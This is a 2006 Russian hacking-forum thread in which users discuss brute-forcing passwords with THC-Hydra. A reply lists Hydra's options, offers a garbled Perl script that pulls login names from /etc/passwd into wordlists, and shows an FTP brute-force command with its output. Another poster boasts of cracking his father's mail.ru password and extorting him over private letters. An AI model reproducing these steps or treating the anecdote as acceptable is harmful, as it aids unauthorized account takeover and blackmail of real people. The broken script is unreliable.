ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Помогите с гидрой
  #1  
Старый 06.04.2006, 00:30
Аватар для ...ъХ...
...ъХ...
Новичок
Регистрация: 23.03.2006
Сообщений: 26
Провел на форуме:
40374

Репутация: 5
По умолчанию Помогите с гидрой

Помогите с брутом гидра, дайти мануал на русском, или если не лень, приведите пример команды для брута форм POST и ICQ, с окошками вечно работал, а тут cmd, проблематично немного. Буду признателен)
 
Ответить с цитированием

  #2  
Старый 06.04.2006, 00:44
Аватар для Allen
Allen
Постоянный
Регистрация: 24.10.2005
Сообщений: 367
Провел на форуме:
686219

Репутация: 26
По умолчанию

Воспользуйся поиском.
На форуме много таких тем...
 
Ответить с цитированием

  #3  
Старый 06.04.2006, 00:49
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию

...ъХ...,гидра аси уже давно не брутит((
Вот всё что нашел на винте.
Итак параметры :
-R -- востановить предыдущую/отменённую сессию.
-S -- подклучаться с помощью ssl.
-l -- логин к которому будет подбираться пароль(или -L список логинов причем к каждому логину из этого списка будет пробуваться только тот пароль который стаит на той же по номеру строчке в файле паролей , что и логин).

-p -- пароль так же как к логину можно подбирать логины к паролю(или -P лист паролей).
-e -- образовательные проверки, попробывать логин без пароля или попробовать пароль такой же как логин.

-С -- формат файла loginass без указания -L и -P.
-M -- список серверов для парралельной атаки.
-o -- записывать удачные попытки перебора в файл.
-t -- количество одновременных подключений к серверу по дефолту 16.
-w -- определяет максимальное время ожидания (в секундах) для ответов (по дефолту 30).
-v/-V -- расширеный режим, показывает login+pass для каждой попытки.
--||server||-- -- имя атакуемого сервера или можно использовать вместо его опцию -M.
--||service||-- -- сервисе для атаки. Возможные вареанты : [telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth]
--||OPT||-- -- для некоторых сервисов нужны специальные данные (смотреть README).
Итак всё что нам нужно это нормальный парсер чтобы можно было делать листы loginass из /etc/passwd или просто login доставал из /etc/passwd. Вот он :
-++++++++++++++++++++++++++++++++++++++++++++--
#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1];
exit print "Use $0 $in $out;n" unless ($out);
open(IN, "$in");
open(OUT, $out");
while(#;IN) {
chomp;
if(~/sh$/) {
($u, @undef) = split ":";
print OUT "$u#n";
}
}
close(IN);
close(OUT);
-+++++++++++++++++++++++++++++++++++++++++++--
После этого можно преступать к активным действиям :
sh-2.05#./hydra -L /tmp/login.txt -P /tmp/pass.txt -t 200 (в зависимости от скорости хоста) www.target.com ftp
Hydra v4.5 (c) 2004 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-02-06 19:26:52
[DATA] 2 tasks, 1 servers, 85 login tries (l:1/p:85), ~42 tries per task
[DATA] attacking service ftp on port 21
[STATUS] attack finished for www.target.com (waiting for childs to finish)
[21][ftp] host: 84.252.136.7 login: password:
Hydra (http://www.thc.org) finished at 2005-02-06 19:31:58

Вот с помощью таких инструментов бравые хакеры подбирают пароли к серверам
 
Ответить с цитированием

  #4  
Старый 06.04.2006, 01:29
Аватар для ...ъХ...
...ъХ...
Новичок
Регистрация: 23.03.2006
Сообщений: 26
Провел на форуме:
40374

Репутация: 5
По умолчанию

Desr0w спасиб
Даже последнея версия под win гидры аси не брутит? Если да, то кто нибуть тогда знает брутофорс для асек с каторым можно было работать через cmd или удалённо?

Последний раз редактировалось ...ъХ...; 06.04.2006 в 01:36..
 
Ответить с цитированием

  #5  
Старый 06.04.2006, 01:41
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию

К сожалению не брутит.
Ищи скрипт для брута..
 
Ответить с цитированием

  #6  
Старый 06.04.2006, 02:05
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

гидра не брутит аськи. и вообще она хреново брутит, если только исходники читать.
 
Ответить с цитированием

  #7  
Старый 06.04.2006, 02:24
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию

Kez ,ты верно не заметил что я уже 2 раза сказал ,что ГИДРА НЕ БРУТИТ АСЬКИ.
Меня она кста не подводила.
 
Ответить с цитированием

  #8  
Старый 06.04.2006, 02:37
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Цитата:
Меня она кста не подводила.
Ну а смысла в ней... POP3 брутить бесполезно...
Остальное можно и без гидры...
Что ещё ещё брутить? Лучше уж самому накатать, чем в сорцах гидры разбираться, и думать почему у меня всевремя ничего не работает
 
Ответить с цитированием

  #9  
Старый 06.04.2006, 02:44
Аватар для Desr0w
Desr0w
Постоянный
Регистрация: 01.02.2006
Сообщений: 523
Провел на форуме:
1730553

Репутация: 319


Отправить сообщение для Desr0w с помощью ICQ
По умолчанию

KEZ,согласен-своё всегда лучше.
Только вот с POP3 не соглашусь-полгода назад на mail.ru батино было увёл(потом просил mp3'шник за то ,чтобы не показал маме тайные переписки с сотрудницами фирмы)
Кста пасс был Vadim(большего от бати и не ожидал)
 
Ответить с цитированием

  #10  
Старый 06.04.2006, 02:50
Аватар для KEZ
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Сколько пробовал - Pop3 брутфорс сразу же блокируют, и гидра после 20 попыток ответ на правильный пароль не получает
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
кто играет в www.ganjawars.ru ??? помогите kuppher Болталка 12 26.07.2008 23:38
www.chat.love4u.ru - помогите получить прова админа! airwil Чаты 4 30.04.2006 15:35
Помогите с Гидрой kot777 E-Mail 26 15.07.2005 22:58



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ